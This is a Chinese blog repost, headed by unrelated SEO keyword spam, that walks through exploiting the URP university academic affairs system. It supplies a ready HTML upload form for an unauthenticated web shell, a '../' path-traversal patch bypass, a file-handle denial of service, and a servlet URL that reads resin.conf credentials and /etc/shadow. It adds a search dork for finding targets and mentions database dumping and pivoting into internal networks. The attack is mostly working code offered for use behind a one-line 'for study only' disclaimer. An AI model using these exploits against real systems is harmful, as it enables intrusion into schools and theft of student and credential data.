网站开发工程师岗位职责说明书,如何下载字体到wordpress,企业网站的功能列表,手机响应式网站开发在学校上了这么长时间#xff0c;由于对课表选课的不习惯#xff0c;就逐渐产生了对教务系统简单的了解#xff0c;希望可以以此学习
本次测试版本#xff1a; 参考#xff1a;https://www.secpulse.com/archives/26974.html 漏洞类型 文件上传导致任意代码执行 直接PO…在学校上了这么长时间由于对课表选课的不习惯就逐渐产生了对教务系统简单的了解希望可以以此学习
本次测试版本 参考https://www.secpulse.com/archives/26974.html 漏洞类型 文件上传导致任意代码执行 直接POST数据过去 对lwUpLoad_action.jsp这个页面
开始分析
首先这个系统使用了Smartupload组件先来看下lwUpLoad_action的部分源码。
script languagejavaScript type//转向function doAction(type){document.forms[0].actionuploadLwywAction.do?actionTypeuploadreturnStrtype;//alert(document.forms[0].action);document.forms[0].submit();}/script
/head
body
form methodpost action/uploadLwywAction
%SmartUpload mySmartUpload new SmartUpload();mySmartUpload.initialize(pageContext);mySmartUpload.upload(); //int fileSizemySmartUpload.getSize();File filemySmartUpload.getFiles().getFile(0);Request reqmySmartUpload.getRequest();//扩展名String fileExtfile.getFileExt();String realPathrequest.getRealPath(/lwUpLoadTemp);String fileNamereq.getParameter(xh).fileExt;String filePathrealPath/fileName;if(!file.isMissing()){file.saveAs(/lwUpLoadTemp/fileName,mySmartUpload.SAVE_VIRTUAL);}String returnStrTestBean.uploadLwyw(filePath,req);//根据返回值 判断操作if(returnStr.equals(yes)){%input typehidden namezxjxjhh value%req.getParameter(zxjxjhh) %input typehidden nametmbh value%req.getParameter(tmbh) %input typehidden namexh value%req.getParameter(xh) %script typetext/javascriptdoAction(yes)/script%}else if(returnStr.equals(full)){%script typetext/javascriptdoAction(full)/script%}else {%script typetext/javascriptdoAction(error)/script%}%
初步一看这个代码没啥问题吧这个文件名使用学号命名的也符合正常逻辑..继续看这个uploadlwyw.jsp的一部分代码
function doUpload(){var chooseFile null;var chooseFileType null;//选择的文件类型var uploadlwyw document.uploadLwywForm.theFile.value;var pos uploadlwyw.lastIndexOf(.);var uploadlwywType uploadlwyw.substring(pos 1,uploadlwyw.length);//上传文件的类型if(uploadlwywType.toLowerCase()docx){uploadlwywType doc;}//得到用户选择的文件类型for(var i0;i3;i){if(document.uploadLwywForm.wjlx[i].checked){chooseFileType document.uploadLwywForm.wjlx[i].value;if(chooseFileType doc){chooseFile word;}if(chooseFileType pdf){chooseFile pdf;}if(chooseFileType zip){chooseFile latex;}}}//与上传的文件类型比较if(uploadlwywType.toLowerCase() ! chooseFileType){alert(论文原文请上传 chooseFile 类型的文件!);return false;}if(document.uploadLwywForm.lwywwbb.value chooseFile word){//版本判断alert(提交word类型的论文原文需添版本号!);document.uploadLwywForm.lwywwbb.focus();return false;}document.uploadLwywForm.actionlwUpLoad_action.jsp;document.uploadLwywForm.submit();}//改变上传文件类型function doChange(type){if(type ! word){document.uploadLwywForm.lwywwbb.value ;document.uploadLwywForm.lwywwbb.disabled true;}else{document.uploadLwywForm.lwywwbb.disabled false;}}
这你妹这么重要的上传用js写不是打脸吗. js上传都写在后端但是在这里就非常容易绕过前端js
..在这里也没有限制上传类型当然还得看后端的处理别急马上就来
看下UploadLwywAction 这是个java字节码需要反编译成java源码 上传部分代码如下
String action httpServletRequest.getParameter(actionType);if (action.equals(upload))return upload(actionMapping, actionForm, httpServletRequest, httpServletResponse);public ActionForward upload(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse){UploadLwywForm form;UploadLwywForm uploadLwywActionForm (UploadLwywForm)actionForm;HttpSession session httpServletRequest.getSession(false);UserInforVO userInfor (UserInforVO)session.getAttribute(userInfor);form (UploadLwywForm)actionForm;if (isSuccess.equals(yes)){String zxjxjhh form.getZxjxjhh();String tmbh form.getTmbh();String xh form.getXh();LwLwxxbId lwLwxxbId new LwLwxxbId(new LwXtb(new LwXtbId(new LwTmxxb(new LwTmxxbId(zxjxjhh, tmbh)), xh)));LwLwxxbLogic lwLwxxbLogic new LwLwxxbLogic();LwLwxxb lwLwxxb lwLwxxbLogic.getLwxxb(lwLwxxbId);}
后端也没有处理 那就是没有限制了
这样这不是个任意文件上传吗...自己写个表单就好了...
form actionhttp://x.x.x.x/lwUpLoad_action.jsp methodpost enctypemultipart/form-data input typefile nametheFile idFile/input typetext namexh idcontext/input typesubmit valueshow me the shell /form
下面属于脱裤脚翘:
首先用这个表单上传一个shell
ssh反代会用,反代配全局继续内网渗透 参考http://www.hackpanda.com/archives/212 漏洞类型 URP教务系统拒绝服务 新补丁更新了几个filter还有web根目录下的fileError.jsp存在这个文件的urp就存在这个拒绝服务不存在这个文件的大部分可以getshell
Properties prop new Properties();java.io.InputStream in getClass().getResourceAsStream(/uploadfileFomat.properties);try{prop.load(in);}catch (IOException e1){System.out.println(获取允许文件类型出错);e1.printStackTrace();}String fomat prop.getProperty(uploadfileFomat);
读取properties后没有关闭文件句柄
通过burp多次访问后
然后主站整个404并且必须重启resin才能恢复通过lsof可以看到java的文件句柄已经达到800 参考http://www.hackpanda.com/archives/212 漏洞类型 补丁绕过继续无需登录GETSHELL
升级的时候又把picFile那个过滤漏了
直接看下代码吧主要还是在第一法getshell那里分析的多
String fileExtfile.getFileExt();String realPathrequest.getRealPath(/lwUpLoadTemp);String fileNamereq.getParameter(xh).fileExt;String filePathrealPath/fileName;if(!file.isMissing()){file.saveAs(/lwUpLoadTemp/fileName,mySmartUpload.SAVE_VIRTUAL); //fileName}String returnStrTestBean.uploadLwyw(filePath,req);
上段代码中fileName是doPost过来的,在这里没有过滤跨目录符号 ../ 所以还是用之前的表单即可完成上传 也就是
code 区域
file.saveAs(/lwUpLoadTemp/../sss.jsp)
这样绕开了补丁限制在根目录生成一个shell 参考http://www.hackpanda.com/archives/212 漏洞类型 轻易读取数据库连接信息
漏洞实际是不需要登录的而且可以轻易读取数据库连接信息还有shadow这就是这个漏洞的真正危害所在。
public void service(HttpServletRequest req, HttpServletResponse res){BufferedReader br;PrintWriter pw;br null;pw null;res.setContentType(text/html;charsetGBK);pw res.getWriter();String filename req.getParameter(file); //直接取得filebr new BufferedReader(new InputStreamReader(getClass().getResourceAsStream(filename), GBK));String s;while ((s br.readLine()) ! null)pw.print(s \n);Exception e;
构造http://x.x.x.x/servlet/com.runqian.base.util.ReadJavaScriptServlet?file../../../../../../../../conf/resin.conf
特征为 intitle:urp综合教务系统-登录 shadow 以上就是对urp系统的利用转自panda博客
以上仅供学习参考严禁触犯法律法规